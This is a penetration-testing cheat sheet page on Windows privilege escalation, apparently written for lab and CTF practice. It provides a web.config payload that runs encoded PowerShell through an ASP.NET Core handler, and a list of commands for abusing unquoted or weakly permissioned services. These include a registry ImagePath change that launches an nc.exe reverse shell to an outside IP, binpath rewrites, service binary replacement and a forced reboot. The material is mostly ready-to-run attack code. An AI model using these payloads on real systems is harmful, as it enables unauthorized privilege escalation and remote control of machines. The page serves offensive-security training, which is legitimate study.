> For the complete documentation index, see [llms.txt](https://intrusionz3r0.gitbook.io/intrusionz3r0/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://intrusionz3r0.gitbook.io/intrusionz3r0/windows-penetration-testing/privilege-escalation.md).

# Privilege Escalation

## Web.config RCE

If you are able to edit or manipulate the file you can use it to Remote Command Execution

**Vulnlab:** [Heron Machine](https://wiki.vulnlab.com/guidance/medium/heron-chain)

```xml
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <location path="." inheritInChildApplications="false">
    <system.webServer>
      <handlers>
        <add name="aspNetCore" path="execute.now" verb="*" modules="AspNetCoreModuleV2" resourceType="Unspecified" />
      </handlers>
      <aspNetCore processPath="powershell" arguments="-e <Base64String>" hostingModel="OutOfProcess" />
    </system.webServer>
  </location>
</configuration>
<!--ProjectGuid: 803424B4-7DFD-4F1E-89C7-4AAC782C27C4-->

```

## Unquoted Service Path

<pre class="language-powershell"><code class="lang-powershell">
#Audit weak service permission with SharpUp
PS C:\htb> .\SharpUp.exe audit

#Searching for weak service ACLs in the Windows Registry (It is also worth searching for weak service ACLs in the Windows Registry. )
C:\htb> accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services

#Manual Checks
<strong>Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select Name,DisplayName,StartMode,PathName | fl
</strong><strong>#Check File or Directory Permissions
</strong>Get-ACL -Path 'C:\Program Files (x86)\IObit' | fl
#Check Service Permission
Get-CimInstance -ClassName Win32_Service -Filter "Name = 'IObitUnSvr'" | Select-Object *

#Abuse
Write-ServiceBinary -Name IObitUnSvr -Path "C:\Program Files (x86)\IObit\IObit.exe" -Command "" | fl

#Interact with service
Stop-Service -Name 'IObitUnSvr'
Start-Service -Name 'IObitUnSvr'
Restart-Service -Name 'IObitUnSvr'
C:\htb> sc start &#x3C;ServiceName>
C:\htb> sc stop &#x3C;ServiceName>
C:\htb> sc query &#x3C;ServiceName>

#Shutdown machine
shutdown -r -t 0

#Modify service binpath
C:\htb> sc config &#x3C;ServiceName> binpath="COMMAND-HERE"

#Modify ImagePath
PS C:\htb> Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443"

#Replacing Service Binary example
C:\htb> cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"



</code></pre>